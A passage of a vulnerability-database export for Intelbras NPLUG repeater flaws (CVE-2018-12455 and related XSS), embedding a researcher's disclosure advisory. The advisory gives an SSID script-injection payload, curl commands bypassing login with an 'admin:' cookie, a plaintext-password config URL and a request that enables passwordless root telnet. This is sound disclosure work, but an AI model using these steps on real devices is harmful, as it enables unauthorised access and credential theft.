            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.6,
            "id": "CVE-2018-12455",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 1.8,
            "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.3,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.6,
            "id": "CNVD-2020-18626",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.3,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 8.6,
            "id": "VHN-122416",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:M/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 2.2,
            "id": "CVE-2018-12455",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.8,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2018-12455",
            "trust": 1.0,
            "value": "HIGH"
          },
          {
            "author": "NVD",
            "id": "CVE-2018-12455",
            "trust": 0.8,
            "value": "High"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2020-18626",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201810-543",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-122416",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using \"admin:\" as the name of a cookie. Intelbras NPLUG Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Intelbras NPLUG is a wireless relay device of Polish Intelbras company. \n\r\n\r\nIntelbras NPLUG has an authorization issue vulnerability. Attackers can use this vulnerability to bypass authentication. =====[ Tempest Security Intelligence ]=====================================\n\n\n  Multiple vulnerabilities in NPLUG wireless repeater\n\n  CVE-2018-12455: Authentication bypass\n  CVE-2018-12456: Multiple CSRF\n  CVE-2018-17337: XSS via SSID\n\n  -------------------------------------------------------\n  Author:\n    - Patrick Costa \u003c @patrickrbc \u003e\n    Tempest Security Intelligence - Recife, PE - Brazil\n\n\n=====[ Table of Contents ]=================================================\n\n  1. Overview\n  2. Detailed description  \n  3. Affected versions \u0026 Solutions  \n  4. Timeline of disclosure  \n  5. Thanks \u0026 Acknowledgements\n  6. References\n\n=====[ Overview ]==========================================================\n \n  * System affected : NPLUG wireless repeater [1]\n  * Version         : 1.0.0.14\n  * Impact          : An attacker can get root access on the device. \n\n=====[ Detailed description ]==============================================\n\n  DISCLAIMER: This device uses a modified Tenda firmware [2]. Most of the\n  vulnerabilities disclosed here were previously published regarding other\n  similar device, besides that this device is pretty old. \n\n  NPLUG wireless repeater has multiple vulnerabilities that can be combined\n  to get a root access on the device. \n\n  The first thing you can do to obtain access to the device is to exploit a\n  XSS in the web interface (CVE-2018-17337). This can be exercised by\nplacing\n  an access point in an appropriate range from the device with a malicious\n  SSID, e.g.:\n\n    \u003cscript src=\"[pwned]\"\u003e\u003c/script\u003e\n\n  If the user tries to scan for wireless networks using the web\ninterface the\n  XSS will pop and you\u0027re done. You can do all the stuff that will be\ndescribed\n  here. \n\n  But, what if the user never uses this feature? Well, NPLUG\u0027s web interface\n  has no CSRF (CVE-2018-12456) protection, so you can try to force a\nconnected\n  user to activate WAN access or change wireless security settings. \n\n  Once you\u0027re inside NPLUG\u0027s network things became really easy. You can\nbypass\n  the authentication just by setting a cookie named \"admin:\"\n(CVE-2018-12455). \n \n  Example:\n\n      curl -I http://10.0.0.1/\n      HTTP/1.0 302 Redirect\n      ... \n\n      curl -I http://10.0.0.1/ -H \"Cookie: admin:=\"\n      HTTP/1.0 200 OK\n      ... \n \n\n  Now you have access to all the web interface features and you can download\n  the config at http://10.0.0.1/DownloadCfg/RouterCfm.cfg containig\npasswords\n  in plain text. \n \n  If that is not enough for you, you can activate telnet daemon by making a\n  simple GET request to /goform/telnetd and guess what! Root access with no\n  password. \n\n  Lately, I found out that this firmware had a binary that would work as the\n  same backdoor previously reported for Tenda routers [3]. However, the\nservice\n  is not started by default and even when manually starting it, I couldn\u0027t\n  exploit it for some reason. But there is not much need to do so. \n\n\n=====[ Affected versions \u0026 Solutions ]=====================================\n\n  This test was performed against version 1.0.0.14 but previous versions are\n  probably vulnerable. \n\n=====[ Timeline of disclosure ]============================================\n\n  15/06/2018 - Vendor contacted. \n  04/07/2018 - Vendor requested time to verify. \n  22/08/2018 - Vendor replied they won\u0027t patch it. \n\n=====[ Thanks \u0026 Acknowledgements ]=========================================\n\n  - Felipe Xavier \u003c filipe.xavier () tempest.com.br \u003e\n  - Gustavo Pimentel \u003c gustavo.pimentel () tempest.com.br\u003e\n  - Tempest Security Intelligence [4]\n\n=====[ References ]========================================================\n\n  [1]\nhttp://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug\n  [2] http://www.tendacn.com/en/default.html\n  [3] http://www.devttys0.com/2013/10/from-china-with-love/\n  [4] http://www.tempest.com.br/\n\n\n\n\n\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "db": "PACKETSTORM",
        "id": "149730"
      }
    ],
    "trust": 2.34
  },
  "exploit_availability": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-122416",
        "trust": 0.1,
        "type": "unknown"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      }
    ]
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2018-12455",
        "trust": 3.2
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626",
        "trust": 0.7
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543",
        "trust": 0.7
      },
      {
        "db": "PACKETSTORM",
        "id": "149730",
        "trust": 0.2
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "PACKETSTORM",
        "id": "149730"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "id": "VAR-201810-0951",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      }
    ],
    "trust": 1.325
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      }
    ]
  },
  "last_update_date": "2024-11-23T21:52:46.488000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "NPLUG",
        "trust": 0.8,
        "url": "http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug"
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-287",
        "trust": 1.9
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.5,
        "url": "http://seclists.org/fulldisclosure/2018/oct/18"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-12455"
      },
      {
        "trust": 0.8,
        "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-12455"
      },
      {
        "trust": 0.1,
        "url": "http://10.0.0.1/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-12456"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2018-17337"
      },
      {
        "trust": 0.1,
        "url": "http://www.tendacn.com/en/default.html"
      },
      {
        "trust": 0.1,
        "url": "http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug"
      },
      {
        "trust": 0.1,
        "url": "http://www.devttys0.com/2013/10/from-china-with-love/"
      },
      {
        "trust": 0.1,
        "url": "http://www.tempest.com.br/"
      },
      {
        "trust": 0.1,
        "url": "http://10.0.0.1/downloadcfg/routercfm.cfg"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "PACKETSTORM",
        "id": "149730"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "PACKETSTORM",
        "id": "149730"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2020-03-22T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "date": "2018-10-10T00:00:00",
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "date": "2018-12-27T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "date": "2018-10-09T20:32:22",
        "db": "PACKETSTORM",
        "id": "149730"
      },
      {
        "date": "2018-10-11T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "date": "2018-10-10T21:29:01.163000",
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2020-03-22T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "date": "2018-11-28T00:00:00",
        "db": "VULHUB",
        "id": "VHN-122416"
      },
      {
        "date": "2018-12-27T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "date": "2018-10-11T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "date": "2024-11-21T03:45:14.893000",
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Intelbras NPLUG Authentication vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "authorization issue",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      }
    ],
    "trust": 0.6
  }
}

var-201810-0835

Vulnerability from variot

Intelbras NPLUG 1.0.0.14 devices have XSS via a crafted SSID that is received via a network broadcast. Intelbras NPLUG Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. IntelbrasNPLUG is a wireless relay device from Intelbras, Poland. A remote attacker can exploit this vulnerability to inject arbitrary web scripts or HTML with a specially crafted SSID. =====[ Tempest Security Intelligence ]=====================================

Multiple vulnerabilities in NPLUG wireless repeater

CVE-2018-12455: Authentication bypass CVE-2018-12456: Multiple CSRF CVE-2018-17337: XSS via SSID

Author: - Patrick Costa < @patrickrbc > Tempest Security Intelligence - Recife, PE - Brazil

=====[ Table of Contents ]=================================================

Overview
Detailed description
Affected versions & Solutions
Timeline of disclosure
Thanks & Acknowledgements
References

=====[ Overview ]==========================================================

System affected : NPLUG wireless repeater [1]
Version : 1.0.0.14
Impact : An attacker can get root access on the device.

=====[ Detailed description ]==============================================

DISCLAIMER: This device uses a modified Tenda firmware [2]. Most of the vulnerabilities disclosed here were previously published regarding other similar device, besides that this device is pretty old.

NPLUG wireless repeater has multiple vulnerabilities that can be combined to get a root access on the device.

The first thing you can do to obtain access to the device is to exploit a XSS in the web interface (CVE-2018-17337). This can be exercised by placing an access point in an appropriate range from the device with a malicious SSID, e.g.:

<script src="[pwned]"></script>

If the user tries to scan for wireless networks using the web interface the XSS will pop and you're done. You can do all the stuff that will be described here.

But, what if the user never uses this feature? Well, NPLUG's web interface has no CSRF (CVE-2018-12456) protection, so you can try to force a connected user to activate WAN access or change wireless security settings.

Once you're inside NPLUG's network things became really easy. You can bypass the authentication just by setting a cookie named "admin:" (CVE-2018-12455).

Example:

  curl -I http://10.0.0.1/
  HTTP/1.0 302 Redirect
  ...

  curl -I http://10.0.0.1/ -H "Cookie: admin:="
  HTTP/1.0 200 OK
  ...